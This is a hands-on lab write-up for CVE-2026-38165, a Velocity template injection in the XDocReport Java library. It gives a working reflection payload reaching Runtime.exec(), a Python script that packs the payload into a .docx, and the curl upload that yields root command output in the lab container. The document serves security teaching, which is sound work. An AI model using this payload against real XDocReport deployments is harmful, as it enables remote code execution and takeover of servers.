Labs

CVE-2026-38165: XDocReport Velocity Template Engine SSTI to RCE

Docker lab RCE

Updated August 20, 2026 · Written by PWNMI — see About.

Plenty of Java applications let a user upload or supply a document "template" — an HR system generating offer letters, a reporting tool merging data into a .docx skeleton, that kind of thing. XDocReport is a library a lot of those applications reach for: point it at a .docx with placeholder fields, hand it a data context, get a filled-in document back. CVE-2026-38165 is what happens when the templating engine underneath that convenience has no concept of untrusted input at all — a .docx isn't just filled in, it's executed.

Affects fr.opensagres.xdocreport (OpenSAGRES XDocReport) <= 2.1.0. XDocReport is a library, not a packaged product — there's no CVE-tracked "fixed version" pinned by a vendor advisory here, and no official Docker image, since it only ever runs embedded inside someone else's application. Writeup and root-cause trace: AT190510-Cuong/CVE-2026-38165-SSTI- (writeup only — no bundled vulnerable app or exploit script; this lab's app is original, built specifically to reproduce the sink the writeup names).

What you'll practice: recognizing server-side template injection (SSTI) in an engine that was never a "templating language" in the CVE sense but a full scripting environment with reflection, debugging a payload that fails silently instead of throwing an exception, and reading raw command output back out of a binary file format instead of a plain HTTP response body.

Set up the lab

New to Docker or git, or unsure what the commands below are actually doing? See Docker for Security Labs and Git for Security Work first.

git clone --filter=blob:none --sparse https://github.com/pwnmihq/resources
cd resources
git sparse-checkout set cve-labs/CVE-2026-38165
cd cve-labs/CVE-2026-38165
docker compose up -d

This builds a small Java app (UploadServer, a JDK-only HTTP server — no framework) with the vulnerable XDocReport 2.1.0 coordinates pulled from Maven Central, standing in for the "upload a template" feature this CVE targets. No ports are published — reach it on its own IP:

CONTAINER=$(docker compose ps -q xdocreport)
IP=$(docker inspect $CONTAINER --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}')
curl http://$IP:8080/

Understanding the vulnerability

fr.opensagres.xdocreport.template.velocity renders .docx templates using Apache Velocity, a general-purpose Java templating engine with its own scripting-adjacent syntax (#set, #foreach, $variable references). Velocity was built to make Java objects easy to reach from a template — $obj.someMethod() calls a real method on a real Java object — which is exactly what makes it dangerous to run against content you didn't write yourself. velocityEngine.evaluate(...) is called on the .docx template body with no sandboxing and no restriction on which classes or methods a template can reference.

That means a .docx file — which is just a zip archive containing XML, one of which (word/document.xml) holds the visible text — can carry raw Velocity Template Language directives inside what looks like a normal paragraph of text. Any application built on the pattern "let a user supply a .docx template, XDocReport fills it in" is treating that upload as trusted code, whether the application's authors realized that or not. From here it's a short hop: Velocity gives template code access to .getClass() on any object it can already reach, and Java reflection gives .getClass() a path to Class.forName("java.lang.Runtime") — full arbitrary command execution, no sandbox to escape because there was never one in the first place.

Exploitation

The payload is Velocity Template Language, reflection-chained to Runtime.exec():

#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("id"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($n=$out.available())
SSTI_MARKER_START
#foreach($i in [1..$n])$str.valueOf($cha.toChars($out.read()))#end
SSTI_MARKER_END

Reading command output back out through Velocity has a real gotcha worth understanding, not just copying past: an earlier version of this payload tried to accumulate the read bytes into a $result string with #set($result = $result + ...). It never threw an exception, but $result rendered as the literal, unresolved text $result — Velocity's default logging is silent (SLF4J NOP logger), so a failed #set() right-hand-side evaluation just leaves the variable unset with no visible warning. The version above avoids assignment entirely: #foreach renders each $expression reference directly inline, byte by byte, which Velocity handles without the accumulation step that was silently failing.

That payload needs to be the text content of a real .docx's word/document.xml — a .docx is just a zip archive with a specific minimal structure. Build one with the payload above embedded as a single text run:

import sys, zipfile

payload = open(sys.argv[1]).read() if len(sys.argv) > 1 else sys.stdin.read()
escaped = payload.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;")

content_types = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/>
</Types>'''

rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/>
</Relationships>'''

document = f'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
<w:body><w:p><w:r><w:t xml:space="preserve">{escaped}</w:t></w:r></w:p></w:body>
</w:document>'''

with zipfile.ZipFile("payload.docx", "w", zipfile.ZIP_DEFLATED) as z:
    z.writestr("[Content_Types].xml", content_types)
    z.writestr("_rels/.rels", rels)
    z.writestr("word/document.xml", document)

Save it as build_docx.py, save the Velocity payload above as payload.vm, and build:

python3 build_docx.py payload.vm

POST the result to the upload endpoint:

curl -s -X POST --data-binary @payload.docx http://$IP:8080/upload -o response.docx

The server returns 200 with a rendered .docx — unzip it and read the text directly rather than trusting that a 200 means anything on its own:

unzip -p response.docx word/document.xml

The genuine output sits between the markers:

0
SSTI_MARKER_START
uid=0(root) gid=0(root) groups=0(root)
SSTI_MARKER_END

uid=0(root)... is the literal stdout of id, executed inside the container through Runtime.exec(), reached purely by a template doing what Velocity templates are designed to do: call methods on objects. Nothing here required exploiting a parser bug or a memory-safety flaw — the "vulnerability" is that the engine was never told this input might be hostile.

Cleanup

This specific proof ran id — a read-only command with no artifact on disk, no account created, no file written. There's nothing to revert from this exact request.

That's true of this one command, not of the vulnerability in general. Runtime.exec() reached through this chain can run anything the server process's user can — plant a webshell, add a cron entry, modify application files, exfiltrate data. Treat a real finding of this bug the way you'd treat any confirmed RCE: assume the demonstrated command was a proof, not the full scope of what an actual attacker ran, and check the target's filesystem changes, process list, and scheduled tasks around the time of the request rather than assuming a single id call is representative of the actual impact.

Tear the lab down when you're done:

docker compose down -v

Lessons worth keeping

  • A templating engine with reflection access is a scripting environment, not a text-substitution tool. Velocity was never designed with a security boundary around what a template can reach — treating a template as "just formatting" instead of "code that runs with the application's own privileges" is the entire vulnerability class SSTI belongs to.
  • Silent failure is worse than a crash when you're debugging an exploit chain. The string-accumulation payload's silent no-op cost real time before the actual working technique (direct #foreach rendering) was found — when a payload produces no error and no expected output, suspect the templating engine's own error-handling defaults before assuming the whole approach is wrong.
  • "No sandboxing" is a design decision worth asking about explicitly, not assuming. Any library that evaluates user-influenced content as code — templating engines, expression languages, deserializers — is only as safe as the restrictions its authors deliberately built in. If a library's docs don't mention a sandbox, assume there isn't one.

Next step

For another case where a reflection-adjacent callable gets reached through data an attacker fully controls, see CVE-2026-65008 (Grav CMS), where a blueprint field's call_user_func_array() plays the same role Velocity's evaluate() does here. For the HTTP request-crafting technique this lab's curl and raw-socket-adjacent steps rely on, see the curl cheatsheet.